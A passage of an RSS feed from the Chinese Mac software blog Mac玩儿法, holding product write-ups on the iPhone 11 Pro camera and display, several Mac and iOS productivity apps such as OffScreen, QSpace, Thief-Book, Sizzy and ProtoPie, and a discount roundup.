    根据 Mann 的经验判断,夜间模式实际工作的方式是相机拍摄一堆短曝光和稍长曝光,检查它们的清晰度,弃掉坏的并合成好的。这跟传统 dSLR /单电相机上,5 秒曝光是在整个快门持续时间内连续记录光线(并记录其移动)的方式不同。

    + +

    iPhone 11 Pro 不是捕捉一个连续的帧,而是将一大堆镜头与可变长度混合(一些较短的曝光时间用于冻结动作,较长的镜头用于曝光阴影),这意味着在你曝光期间主体可以实际移动但照片仍然保持清晰。

    + +
    iPhone 11 Pro 这次是真香,浅显易懂的解说新机插图(11)
    旅行摄影师 Austin Mann 桂林系列的夜间拍摄
    + +
    iPhone 11 Pro 这次是真香,浅显易懂的解说新机插图(12)
    官方夜间模式开关前后的样片对比
    + +
    iPhone 11 Pro 这次是真香,浅显易懂的解说新机插图(13)
    与 iPhone X 对比的夜间场所拍摄效果对比
    + +
    iPhone 11 Pro 这次是真香,浅显易懂的解说新机插图(14)
    与 iPhone Xs 对比的夜间场所拍摄效果对比
    + +
    iPhone 11 Pro 这次是真香,浅显易懂的解说新机插图(15)
    与 iPhone Xs 对比的夜间场所拍摄效果对比
    + +

    人像模式继续进化

    + +

    iOS 13 增加了高调单色光效果,可轻松创作风格鲜明的单色照:

    + +

    iPhone 11 Pro 这次是真香,浅显易懂的解说新机插图(16)

    + +

    另外苹果号称它的拍摄模块里 HDR 也进行了升级,更先进的算法,确保尽可能的保留住图像中高光及阴影的细节,而且新的 HDR 还会利用机器学习技术,识别并提亮照片中人物的面部。也就是说,iPhone 11 Pro 可同时自动优化拍摄主体和背景的细节,苹果自称这些提升甚至会让许多单反相机都羡慕。。。

    + +

    慢动作自拍

    + +

    全新的 1200 万像素原深感摄像头,让你能以 120 fps 的帧率来一段超好玩的慢自拍,或是 60 fps 的 4K 视频。

    + +

    其他一些数据提升

    + +
      +
    • 长焦拍摄进光量增加 40%
    • +
    • 开启慢速同步时原彩闪光灯亮度提升 36%
    • +
    • 快门延迟近乎为零
    • +
    • 人像模式光效达到了6种
    • +
    • 全景照片高度2倍
    • +
    • 光学图像防抖OIS
    • +
    + +

    关于 XDR 显示屏

    + +

    在峰值亮度上,超视网膜 XDR 显示屏一次就创下了两个新纪录,并且会按需要使用相应的亮度。当你在阳光下时,屏幕亮度最高可达 800 尼特,非常适合外出拍照和选片;而当你观看极致动态范围的内容时,它的亮度最高可达 1200 尼特。这感觉,就像是你的 iPhone 装备了一块 Pro Display XDR 屏幕,对比度:2000000:1,像素密度仍然是 458 ppi。

    + +

    iPhone 11 Pro 这次是真香,浅显易懂的解说新机插图(17)

    + +

    关于电池性能

    + +

    用随附的 18 瓦电源适配器,充电速度会更快,快速充电约 30 分钟,最高可冲到50% 电量。iPhone 11 Pro 的电池续航比 iPhone Xs 最长增加 4 小时,iPhone 11 Pro Max 的电池续航则比 iPhone Xs Max 最长增加 5 小时

    + +

    防水

    + +

    IP68 抗水级别:最多可在 4 米水深停留 30 分钟

    + +

    AirDrop

    + +

    Apple 全新设计的 U1 芯片采用超宽频技术,让 iPhone 11 Pro 具备空间感知能力,可感应附近其他配备 U1 芯片的 Apple 设备,并准确判断出彼此的位置关系

    + +

    其他一些提升

    + +
      +
    • 面容 ID 的速度提升了最高达 30% 之多;
    • +
    • 杜比全景声:3D 空间环绕音效;
    • +
    • 音频共享:可以同时连接两对 AirPods 或 Beats 耳机;
    • +
    • 无线充电:只需将 iPhone 11 Pro 放在 Qi 认证充电器上即可充电;
    • +
    • 更快的无线局域网:(802.11 a/b/g/n/ac/ax) 让你的下载速度最高可提升 38% 之多;
    • +
    • 支持双卡;
    • +
    • 多达 28 个 LTE 频段;4G LTE Advanced 可提供广泛的全球漫游
    • +
    + +

    最后一个说明

    + +

    不支持 5G

    + +

    网红们的视频评测

    + +

    我们摘取了网络上比较有代表性的四个视频,分别涉及到拆箱(外观)、全面上手体验以及夜间拍摄的专题拍摄。

    + +
    +

    Marques Brownlee 的上手评测

    +

    + +
    +

    + +
    + +
    +
    +

    Unbox Therapy 拆箱视频,iPhone 11 所有机型,所有颜色机器拆一遍,这哥们儿太疯狂了

    + +
    + + +
    +

    iJustine 对 iPhone 11 Pro 的夜间模式测试

    +
    + +

    + +
    + +

    + +

    钟文泽对 iPhone 11 Pro 的评测

    + +

    + +
    + + +

    本文发表自Mac玩儿法,转载请注明转自《iPhone 11 Pro 这次是真香,浅显易懂的解说新机

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/iphone-11-pro-buy-guide/feed + 0 +
    + + OffScreen:帮助你控制手机使用时间,专注于更多高效率事项 + https://www.waerfa.com/offscreen + https://www.waerfa.com/offscreen#respond + Wed, 18 Sep 2019 07:19:08 +0000 + + + + + https://www.waerfa.com/?p=106000 + + 从 iOS 12 为防沉迷而设计的屏幕时间(ScreenTime)的确帮用户了解到了自己的使用习惯和 app 时间分布情况,也可以做到 app 使用限额设置,但原厂的屏幕时间可以检测总结的数据仅仅局限于社交、娱乐,效率这样的粗分类统计,最多也是给出拿起次数的统计,无法给出更详尽的数据;而 OffScreen 这款第三方应用则可以帮助用户弥补这部份需求,它可以实现在精确统计屏幕时间的基础上,帮助用户理解并优化自己的屏幕时间,同时也集成了专注功能,帮助你控制手机使用时间,专注于更多高效率事项。

    + +

    OffScreen:帮助你控制手机使用时间,专注于更多高效率事项插图

    + +

    在 OffScreen 主页你可以看到设置的规划屏幕使用时间,然后你可以看到拿起的次数,平均查看时长,边走边看,呆呆的看,最后一次放下(手机),第一次拿起(手机),最长锁屏时长(单词不用手机的时间),睡眠时长(你放下手机的时间)等等数据,而且每一项数据都可以按周、月、年进行统计查看。

    + +

    OffScreen:帮助你控制手机使用时间,专注于更多高效率事项插图(1)

    + +

    生成的屏幕使用日报,包含了,比如当天的,屏幕使用时间,以及各个子数据的信息,你可以分享出去或者保存成卡片图片。

    + +

    OffScreen:帮助你控制手机使用时间,专注于更多高效率事项插图(2)

    + +

    OffScreen 可以按“一周”、“一个月“、 “一年”为维度,去显示详细的屏幕使用时间和各类手机活动的历史数据,并且可生成精美的「每日总结」和「每周总结」数据卡片。

    + +

    OffScreen:帮助你控制手机使用时间,专注于更多高效率事项插图(3)

    + +

    专注功能

    + +

    OffScreen 的这项专注功能有点儿类似番茄钟工作法,默认 25 分钟的专注时间,时长最多可设置为 60 分钟,如果你是 Pro 会员,还可以选择专注领域的标签,比如:学习、工作、阅读、写作、冥想、健身、画画、创造、午睡、锻炼、Coding 等等等。

    + +

    而且标签的图标 icon 也可以自定义,根据提示把手机反转,屏幕向下扣住开始专注于任务,假如你在任务时长内拿起手机,app 会询问你是否继续,或者放弃此次专注任务,如果不做处理,则 app 会在 20s 后自动终止任务计时。

    + +

    OffScreen:帮助你控制手机使用时间,专注于更多高效率事项插图(4)

    + +

    OffScreen 目前可在 App Store 免费下载

    +

    本文发表自Mac玩儿法,转载请注明转自《OffScreen:帮助你控制手机使用时间,专注于更多高效率事项

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/offscreen/feed + 0 +
    + + QSpace:象走田,马走日,没人管理文件比我帅 + https://www.waerfa.com/qspace-review + https://www.waerfa.com/qspace-review#respond + Thu, 12 Sep 2019 14:47:40 +0000 + + + + https://www.waerfa.com/?p=105988 + + 说起用 Finder 管理本地文件,许多人可能都会烦恼过,你可能会开多个 Finder 窗口去寻找,拷贝、移动各种文件,最后还是找不到自己想要的东西,恨不得把贵重的 Mac 摔在墙上,即便是 Finder 具备了多标签页运行设计,我到现在仍没有养成像 Safari 那样的多标签页管理文件的习惯。

    + +

    QSpace 这款软件很像我们常年推荐的各种窗口管理工具,只不过它是默认可以将最多四个 Finder 窗口聚合在了一起,用户启动 QSpace 后可在这四个 Finder 窗口内进行快速的文件遍历、排序、预览、移动、拷贝,甚至是将目录的路径快速转入 Terminal 进行命令行式的操作。

    + +
    QSpace:象走田,马走日,没人管理文件比我帅插图
    QSpace 默认是四象限式的布局设计,界面颜色可跟随 Catalina 的 day/dark mode 进行同步切换。
    + +

    QSpace:象走田,马走日,没人管理文件比我帅插图(1)

    + +

    QSpace 各个 Finder 窗口之间可以快速进行移动文件,拷贝、删除的操作,这种设计非常方便小白用户进行文件管理。

    + +

    如下图 A,B,C,D 四个点位标注所示,QSpace 可自由创建工作区(workspace),滨进行快速跳转(创建新的程序 window),同时可在 Finder 的聚合窗口选择 12 种布局设计,什么方格式的,多列式的,多行式的,等等等;在左上角可以调用磁盘总目录,对其中一个 Finder 的目录图标切换成方格、列表、预览三种模式,最右侧还不起眼的放置了一个 Terminal 触发按钮,当你处于其中一个目录时,单击该按钮可直接启动 Terminal 跳入对应目录进行命令行操作。

    + +
    QSpace:象走田,马走日,没人管理文件比我帅插图(2)
    所有的工作区都可以在再次启动自动恢复上次的位置
    + +

    在图中的 D 框中,隐藏了一个针对 Finder 窗口的操作菜单,这里可以选择调用 Terminal,新建目录、新建文件,将此 Finder 目录加入收藏(书签),设为起始路径、拷贝路径等操作。如果你是一名任务繁重的程序开发人员,当本地有大量代码文件时你还可以设置调用编辑器的快捷键,这样就可以一键告诉编辑器打开已选择的文件或目录,目前支持 VSCode、Atom、Sublime。

    + +

    QSpace:象走田,马走日,没人管理文件比我帅插图(3)

    + +

    在 Finder 窗口(任意一个象限),在列表模式下用户可以实现对图标尺寸的 2 级缩放,按「 Command + 加号/减号」调整图标大小。在图标模式下支持 4 级缩放,按「 Command + 加号/减号」调整图标大小。

    + +

    每个窗口的地址栏不但可以快速切换到收藏后的目录里,逐级进行上下级目录的切换,还可以将目录快速转换成文本路径(单击地址栏的最右侧即可):

    + +

    QSpace:象走田,马走日,没人管理文件比我帅插图(4)

    + +

    QSpace 支持用户在里面直接新建文件,你可以在后台设置新建文件的格式,默认是 txt 文本格式。QSpace 目前在 MAS 仅售 1 元,应该是促销活动中。

    +

    本文发表自Mac玩儿法,转载请注明转自《QSpace:象走田,马走日,没人管理文件比我帅

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/qspace-review/feed + 0 +
    + + Quitter:帮你悄悄摆脱无效应用干扰,提高生产力的小工具 + https://www.waerfa.com/quitter-review + https://www.waerfa.com/quitter-review#respond + Wed, 11 Sep 2019 21:09:47 +0000 + + + + https://www.waerfa.com/?p=105979 + + Quitter 是一款由著名独立开发者 Marco Arment 开发的一款免费 macOS 软件,可以自选任何应用加入到自动关闭或隐藏的规则中,帮助用户关闭或隐藏那些在特定应用长时间不活动的应用程序,从而很大程度上帮你悄悄的摆脱诸如社交应用,RSS 阅读器的消息退送干扰,把专注力投入到当前工作中去。

    + +

    Quitter:帮你悄悄摆脱无效应用干扰,提高生产力的小工具插图

    + +

    自动关闭应用或隐藏应用的时间以分钟为单位自行添加。

    +

    本文发表自Mac玩儿法,转载请注明转自《Quitter:帮你悄悄摆脱无效应用干扰,提高生产力的小工具

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/quitter-review/feed + 0 +
    + + Thief-Book:上班摸鱼看小说跟股票必备神器 + https://www.waerfa.com/thief-book-review + https://www.waerfa.com/thief-book-review#respond + Sun, 08 Sep 2019 11:08:32 +0000 + + + + + + + https://www.waerfa.com/?p=105967 + + Thief-Book 是一款真正的最强摸鱼神器,可以更加隐秘性大胆的看小说,炒股。。。它可以实现在任务栏、桌面、TouchBar 上进行摸鱼,让你体验不同的工作 996,上班族必备神器。

    + +

    先说特点:

    + +
      +
    • 隐蔽:自定义透明背景,随意调整大小,完美融入各种软件界面
    • +
    • 快捷:三个快捷键,实现完美的摸鱼
    • +
    • 跨平台:支持 Mac、Win,Linux
    • +
    + +

    Thief-Book:上班摸鱼看小说跟股票必备神器插图

    + +

    股票模式,在后台设置输入股票代码,即可在屏幕上显示股票价格;股票每 5 秒更新一次,显示格式为:当前价格,跌涨百分比。比如:贵州茅台 ( 600519.SH ) ,设置里写 sh600519 即可。

    + +

    Thief-Book:上班摸鱼看小说跟股票必备神器插图(1)

    + +

    Mac版比Win版除了支持桌面模式外还额外具备任务栏模式、TouchBar 模式,毕竟 Mac 的功能利用率还是蛮高的。

    + +

    Thief-Book:上班摸鱼看小说跟股票必备神器插图(2)

    + +

    阅读小说时支持鼠标翻页,自动翻页,上下页组合键切换,老板键那是必不可少的。

    + +

    TouchBar 模式也很实用,字体大小刚刚好,你也不需要凑近键盘进行阅读,一切显得很自然。

    + +

    Thief-Book:上班摸鱼看小说跟股票必备神器插图(3)

    + +

    Mac 下的桌面模式

    + +

    Thief-Book:上班摸鱼看小说跟股票必备神器插图(4)

    + +

    在 IDEA 编辑器实际的摸鱼效果,能看到底部的小说内容不?我觉得都无需老板键去关闭,对方也看不到唉。。

    + +

    Thief-Book:上班摸鱼看小说跟股票必备神器插图(5)

    + +

    你可以在后台设置窗口里导入小说路径,如果文本是 GBK 编码则会出现乱码,这时你可以选择勾选乱码可以规避这个问题,另外每页数量,是否显示分页,换行符号,是否适配英文文字,字体大小,自动翻页时间,文本背景色、文字颜色都可以设定。

    + +

    Thief-Book:上班摸鱼看小说跟股票必备神器插图(6)

    + +

    看小说切换页面、老板键、自动翻页模式启动都可以用自定义热键。

    + +

    Thief-Book 为用户提供 Vscode 版本,具体请看 https://github.com/cteamx/Thief-Book-VSCode

    +

    本文发表自Mac玩儿法,转载请注明转自《Thief-Book:上班摸鱼看小说跟股票必备神器

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/thief-book-review/feed + 0 +
    + + Sizzy:快速在 N 台设备上预览你的 Web 页面 + https://www.waerfa.com/sizzy-review + https://www.waerfa.com/sizzy-review#respond + Sun, 01 Sep 2019 06:14:21 +0000 + + + + + + https://www.waerfa.com/?p=105944 + + Sizzy 是一款专为程序员/设计师准备的 WEB 页面调试伴侣软件,工作者可以不用准备那么多实体设备,只需要打开 Sizzy 就能看到你的网页在移动端、桌面端、平板端的显示效果,支持快速检查网页元素(帮助你快速排查网页障碍)、各终端同步滚动显示效果、终端页面截图、横竖屏效果查看等功能。

    + +

    首先你看到下面这个清爽的主界面时是我自己选择的个性化皮肤,Sizzy 是支持皮肤自设定的,你可以加入常用的设备终端,这样就可以看到网页在这些设备上的最终效果,而且可以通过滑动“设备屏幕”对整个页面进行预览,省去了找实体设备的麻烦,在左侧的工具栏上可以对各种设备平台进行筛选显示,你还可以对网页缓存,cookies 进行清除,或者对网页在线状态进行开关、开关缓存模式,对设备进行横竖屏显示切换以及截图。

    + +

    Sizzy:快速在 N 台设备上预览你的 Web 页面插图

    + +

    Sizzy 的浏览模式选择

    + +

    在查看网页在各终端的效果时,有三种模式可选,分别是默认模式,也就是所有设备截图都在一个主界面里显示,其次是 focus 模式,各终端的切换被整合在顶部的 toolbar 上,界面里只有一个终端的界面预览,最后是水平式滑动预览,所有终端预览都在一个滑动栏中,使用手势滑动即可进行切换。

    + +

    Sizzy:快速在 N 台设备上预览你的 Web 页面插图(1)

    + +

    如何开始使用 Sizzy

    + +

    启动 Sizzy 后输入网页地址就能进行预览任务,这个地址可以是域名也可以是你的本地项目链接。

    + +

    Sizzy:快速在 N 台设备上预览你的 Web 页面插图(2)

    + +

    Sizzy 纵览演示视频

    + + + +
    + + + +

    WEB 预览

    + +

    在单个设备预览上,调用隐藏菜单可以选择只看(focus)这个终端的预览效果,调用开发工具,切到离线模式,截取整个网页截图(移动设备支持滚动截图),克隆一个新 device 预览以及隐藏操作。

    + +

    Sizzy:快速在 N 台设备上预览你的 Web 页面插图(3)

    + +

    左侧的工具栏可以切换到简洁的纯图标模式,同时在左下角你可以对设备预览的尺寸进行缩放。

    + +

    Sizzy:快速在 N 台设备上预览你的 Web 页面插图(4)

    + +

    组件检查

    + +

    软件提供的 dev tool 应该是整合了 Chrome 内核的开发者工具模块,在 Sizzy 开启 dev tool 后,当你在终端预览上与网页进行交互时,dev tool 可以同步定位到组件对应的代码位置,文字链接,图片,按钮啥的,都可以。

    + +

    Sizzy:快速在 N 台设备上预览你的 Web 页面插图(5)

    + +

    Sizzy:快速在 N 台设备上预览你的 Web 页面插图(6)

    + +

    Sizzy:快速在 N 台设备上预览你的 Web 页面插图(7)

    + +

    组件快速定位

    + +

    输入前端代码中的代表组件名称进行搜索,可以快速定位到相应的网页元素或位置。

    + +

    Sizzy:快速在 N 台设备上预览你的 Web 页面插图(8)

    + +

    同步显示

    + +

    当你滑动一个终端预览时,其他终端预览都会同步滚动进行显示。

    + +

    Sizzy:快速在 N 台设备上预览你的 Web 页面插图(9)

    + +

    快速导航

    + +

    在 Sizzy 的头部工具栏上可以根据 H1/H2/H3 标题对网页进行快速导航。

    + +

    Sizzy:快速在 N 台设备上预览你的 Web 页面插图(10)

    + +

    网络设定

    + +

    整个终端预览的缓存支持开关设定

    + +

    Sizzy:快速在 N 台设备上预览你的 Web 页面插图(11)

    + +

    设备类型组织

    + +

    Sizzy 默认提供了 iOS、macOS、Android 等系统常见的、最新款的终端模型供用户选择显示。

    + +

    Sizzy:快速在 N 台设备上预览你的 Web 页面插图(12)

    + +

    或者你也可以新建一个终端,UA 有如下图所示可选,可以设定 input type,是触控屏还是鼠标操控,设备类型以及操作系统,还有最主要的屏幕尺寸设备,像素比等参数。

    + +

    Sizzy:快速在 N 台设备上预览你的 Web 页面插图(13)

    + +

    光标跟随

    + +

    软件支持显示实时的光标跟随模式。

    + +

    Sizzy:快速在 N 台设备上预览你的 Web 页面插图(14)

    + +

    界面自定义

    + +

    文章开始时就提到了界面自定义,Sizzy 提供了纯色,渐进色、风景图三种进行选择,同时可以对设备边框、头部、边界的显示进行开关设定。

    + +

    Sizzy:快速在 N 台设备上预览你的 Web 页面插图(15)

    + +

    总的来说,Sizzy 这款软件非常适合需要适配广泛终端的前端开发人员使用,它的定价政策是:

    + +

    月付计划:一台设备起,价格为 $7/月

    + +

    年付计划:一台设备起,价格为 $5/月,每年 $60

    + +

    如果你需要更多授权更多设备使用 Sizzy,戳官网进行了解吧!

    + +
    +

    Sizzy 官方网址

    +
    +

    本文发表自Mac玩儿法,转载请注明转自《Sizzy:快速在 N 台设备上预览你的 Web 页面

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/sizzy-review/feed + 0 +
    + + 「省好多」系列第十七期:2019 夏末秋至,凉了,但这些软件仍卖的火热 + https://www.waerfa.com/waerfa-deals-ep-17 + https://www.waerfa.com/waerfa-deals-ep-17#respond + Mon, 26 Aug 2019 03:46:50 +0000 + + + + https://www.waerfa.com/?p=105938 + + 今天我们推出「省好多」系列第十七期,2019 年的夏天马上就要过去,天气转凉,但互联网上总有些 Mac 软件的热销不会降温,小编整理了一些近期比较畅销,价格合适的 Mac 软件推荐给各位,看看有没有让你动心的好软?

    + +

    免费升级到 Parallels Desktop 15

    + + + +

    这个 8 月,Parallels Desktop 15 正式发布,支持 macOS Catalina ,继续对虚拟机的大户 Windows 10 进行特别优化,同时在 2019 年 8 月 1 日到 2019 年 10 月 31 日购买 PD 14 的用户可免费升级到 PD 15,算是个好消息吧。所以购买我站的  Parallels Desktop 14(价格仅为 299 元,配合 5 元优惠券仅为 294 元)然后即可免费升级到 PD15,这比你全新购买 PD15 或者从有效期外购买的 PD 14 升级到 PD 15 都要划算许多。

    + +
    全新的 PD 15 除了继续适配最新的 macOS,Windows 图形架构、蓝牙外设外,还针对 macOS Catalina 提供了对 Sidecar 和 Apple Pencil 的支持。
    + +

    购买特惠 PD 14 再免费升级到 PD15

    + +

    ProtoPie

    + +
    「省好多」系列第十七期:2019 夏末秋至,凉了,但这些软件仍卖的火热插图(2)
    「省好多」系列第十七期:2019 夏末秋至,凉了,但这些软件仍卖的火热插图(3)

    ProtoPie

    打造完美的交互原型「9 月底转为订阅制,赠送10元优惠券」

    + +

    原型设计工具 ProtoPie 今年九月末更新就会取消终生版、中文版, 转为订阅制。 现在是优惠入手终生版的最后机会(仅为 299 元)。

    + +

    目前中国版价格一次性买断价格为 299 元,我站与经销商合作,为大家争取到了 10 元的优惠券,机会难得,9 月更新后将是订阅制,到那时大家使用 ProtoPie 的成本会更高唉。。。

    + +
    ProtoPie 是一款新晋的交互原型设计软件,无论是专业的产品经理、设计师还是行业初学者都可以通过它给开发者、前端工程师提供一个完美的高保真的使用原型,提高整个团队的协同工作效率。
    + +

    购买中国版 ProtoPie

    + +

    AdGuard

    + +
    「省好多」系列第十七期:2019 夏末秋至,凉了,但这些软件仍卖的火热插图(4)
    「省好多」系列第十七期:2019 夏末秋至,凉了,但这些软件仍卖的火热插图(5)

    Adguard

    广告拦截你会选择它吗?

    + +

    AdGuard 全系列 9 折活动(9月1日结束),我们尤其推荐用户购买高级版,同时激活手机和电脑设备。

    + +
    从人类遇到互联网以来,垃圾广告,追踪脚本、软件病毒就一直伴随着我们。Adguard,一个创建于 2009 年的俄罗斯垃圾广告软件品牌,凭借积累的深厚广告拦截、计算机安全防护经验捕获了不少用户的青睐,这款软件支持 macOS、iOS、Win、Android 四个平台…
    + +

    购买优惠 AdGuard

    + +

    NTFS 助手

    + +
    「省好多」系列第十七期:2019 夏末秋至,凉了,但这些软件仍卖的火热插图(6)
    「省好多」系列第十七期:2019 夏末秋至,凉了,但这些软件仍卖的火热插图(7)

    NTFS 助手

    让你的 Mac 无障碍快速读写任意外置硬盘

    + +

    目前 NTFS 助手正在做优惠活动,价格优惠至 36 元,配合我站专属优惠券还能再降 5 元,也就是 31 元。

    + +

    NTFS 助手 的主要功能是:

    + +
      +
    • 快速读写 NTFS 移动硬盘 / U 盘
    • +
    • 自动装载/卸载 NTFS 磁盘
    • +
    • 兼容 macOS 主流操作系统
    • +
    • 支持 BootCamp
    • +
    • 免费试用
    • +
    • 安全易用,无损数据
    • +
    + +

    购买特惠 NTFS 磁盘助手

    + +

    PhoneClean

    + +
    「省好多」系列第十七期:2019 夏末秋至,凉了,但这些软件仍卖的火热插图(8)
    「省好多」系列第十七期:2019 夏末秋至,凉了,但这些软件仍卖的火热插图(9)

    PhoneClean

    iPhone垃圾清理神器「最新二合一组合套餐上架」

    + +

    PhoneClean 官网售价 20 刀 ( 约 138 元 ) 起,上新活动直接 3.5 折(活动持续到年底),一年的个人版仅需 49 元。

    + +

    PhoneClean,一款完美的 iPhone 数据清理工具,兼容 Mac 与 Win 平台,操作方便,先 scan,再清理,完活儿立即见效!使用前将手机接入 Mac,点击 Scan 进行扫描,PhoneClean 会将 iPhone 里各项应用中生成的缓存,临时,脚本,离线,媒体同步失败等类型文件一一揪出来,全部 wipe out。

    + +

    购买特惠 PhoneClean

    + +

    落格输入法 2

    + +
    「省好多」系列第十七期:2019 夏末秋至,凉了,但这些软件仍卖的火热插图(10)
    「省好多」系列第十七期:2019 夏末秋至,凉了,但这些软件仍卖的火热插图(11)

    落格输入法 2 for Mac

    强大的可定制双拼输入法「半价促销中」

    + +

    目前 落格输入法 2 for Mac 正在做返校期半价促销,单用户版从 99 元降到了 49.5 元,升级授权从 59 元降到了 29.5 元。活动期到 9 月 15 日结束。

    + +
    落格输入法是一款 macOS 和 iOS 上备受好评的双拼输入法,除了有接近原生系统的输入体验和手感外,它还可以自定义码表、辅码和双拼方案,针对不同人的使用习惯,有着极强的可定制性。现在,落格输入法 Mac 版推出了全新 2 代,完美适配新系统 macOS Mojave,支持了深色模式,还带来了更多新特性,例如支持了小鹤双拼、全拼,以及针对 VoiceOver 进行了中文优化等。
    + +

    购买落格输入法

    + +

    Scapple

    + +
    「省好多」系列第十七期:2019 夏末秋至,凉了,但这些软件仍卖的火热插图(12)
    「省好多」系列第十七期:2019 夏末秋至,凉了,但这些软件仍卖的火热插图(13)

    Scapple

    玩Brainstorm记录你的Idea

    + +

    Scapple 这款老牌轻量级脑图软件目前已全线更新,适配 Mojave 以及即将上架的 Catalina,新版价格官网 $18,折合人民币 127 元,国内版价格仅为 99 元。

    + +

    购买特惠 Scapple

    +

    本文发表自Mac玩儿法,转载请注明转自《「省好多」系列第十七期:2019 夏末秋至,凉了,但这些软件仍卖的火热

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/waerfa-deals-ep-17/feed + 0 +
    + + ProtoPie:打造完美的交互原型「9 月底转为订阅制,赠送10元优惠券」 + https://www.waerfa.com/protopie-review + https://www.waerfa.com/protopie-review#respond + Mon, 26 Aug 2019 02:45:46 +0000 + + + + + + https://www.waerfa.com/?p=104311 + + 2019.08.26 更新:原型设计工具 ProtoPie 今年九月末更新就会取消终生版、中文版, 转为订阅制。 现在是优惠入手终生版的最后机会。

    + +

    目前中国版价格一次性买断价格为 299 元,我站与经销商合作,为大家争取到了 10 元的优惠券,机会难得,9 月更新后将是订阅制,到那时大家使用 ProtoPie 的成本会更高唉。。。

    + +

    ProtoPie:打造完美的交互原型「9 月底转为订阅制,赠送10元优惠券」插图

    + +

    ProtoPie 是一款新晋的交互原型设计软件,无论是专业的产品经理、设计师还是行业初学者都可以通过它给开发者、前端工程师提供一个完美的高保真的使用原型,提高整个团队的协同工作效率。

    + +

    ProtoPie 由桌面端的 ProtoPie Studio 和手机端的 ProtoPie Player 组成,用户即可以在桌面上预览原型效果也可以推送到安装有 ProtoPie Player 应用的 iOS/Android 设备上体验。

    + +

    购买中国版 ProtoPie

    + +

    ProtoPie:打造完美的交互原型「9 月底转为订阅制,赠送10元优惠券」插图(1)

    + +

    ProtoPie Studio 的工作台非常简洁易懂,你可以选择要设计的系统平台、设备类型,甚至是自定义屏幕尺寸,默认的尺寸是 iOS,提供了从 iPhone 7/7Plus 到 iPhone X,Retina iPad/Pro,平板电脑尺寸各种屏幕平台,方便设计者快速定位产品。

    + +

    ProtoPie:打造完美的交互原型「9 月底转为订阅制,赠送10元优惠券」插图(2)

    + +

    在原型中你可以插入容器层、图片、视频、图形、文本等元素,每设计一组交互界面,待添加“手势”、“条件性触发”、“鼠标”、“键盘”、“传感触发”这些触发动作后继续添加下一个“场景”,这样的使用逻辑基本上和桌面时代的 Axure RP 相似。

    + +

    你可以在基础教程里看到上述交互动作,尤其是“触发”单元的使用技巧。

    + +

    原型设计中你可以在 ProtoPie Studio 中直接通过“预览窗”查看效果,和 Xcode 的模拟器差不多,或者也可以在上传目的地,云端网页里查看效果,不过由于 Safari 的原因,像“3D Touch”、“倾斜”这种进阶的触发动作它是无法显示的,你需要使用 Chrome、Firefox 这样的浏览器。

    + +

    ProtoPie:打造完美的交互原型「9 月底转为订阅制,赠送10元优惠券」插图(3)

    + +

    或者你也可以直接推送到安装有 ProtoPie Player 应用的 iOS/Android 设备上体验,这是官方开发团队所倡导的一种方式,在 ProtoPie Player 上体验原型可以最直观的让开发者、前端工程师知道你的设计思路,ProtoPie Player 与桌面端的预览器功能强大许多,有慢镜头演示(交互速度控制),离线保存以及多种链接模式。

    + +

    ProtoPie:打造完美的交互原型「9 月底转为订阅制,赠送10元优惠券」插图(4)

    + +

    ProtoPie Player 可以通过扫描 Studio 上显示的二维码、输入固定 IP 地址或是将手机通过 USB 线缆连接 Mac 实现作品的远程预览。想要结束预览,双指双击屏幕即可。

    + +

    ProtoPie:打造完美的交互原型「9 月底转为订阅制,赠送10元优惠券」插图(5)

    + +

    另外 ProtoPie 还支持一键导入 Sketch 和 Adobe XD CC 文件、制作聊天、送款这种多个设备间的有交互动作的 Bridge 原型。

    + +

    ProtoPie:打造完美的交互原型「9 月底转为订阅制,赠送10元优惠券」插图(6)

    + +

    ProtoPie 目前国际版定价为 99 美元,中国区价格为 299 元人民币。

    + +

    购买中国版 ProtoPie

    + +
    + +

    官方基础视频教程

    + +

    中文学习教程

    +

    本文发表自Mac玩儿法,转载请注明转自《ProtoPie:打造完美的交互原型「9 月底转为订阅制,赠送10元优惠券」

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/protopie-review/feed + 0 +
